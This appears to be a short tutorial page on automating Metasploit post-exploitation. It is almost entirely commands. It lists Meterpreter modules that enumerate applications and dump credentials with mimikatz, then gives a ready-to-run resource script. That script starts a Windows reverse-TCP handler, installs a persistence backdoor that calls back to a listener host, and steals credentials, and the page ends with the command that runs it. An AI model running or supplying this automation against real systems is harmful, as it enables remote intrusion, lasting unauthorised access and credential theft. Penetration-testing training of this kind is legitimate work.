Skip to content

18. Metasploit Automation for Post Exploitation

Meterpreter Scripts

Run automated tasks:

run post/windows/gather/enum_applications
run post/windows/gather/credentials/mimikatz

Resource Script

Create a .rc file for automation:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
exploit
run post/windows/manage/persistence -U -i 10 -p 4444 -r 192.168.1.10
run post/windows/gather/credentials/mimikatz

Run with:

msfconsole -r script.rc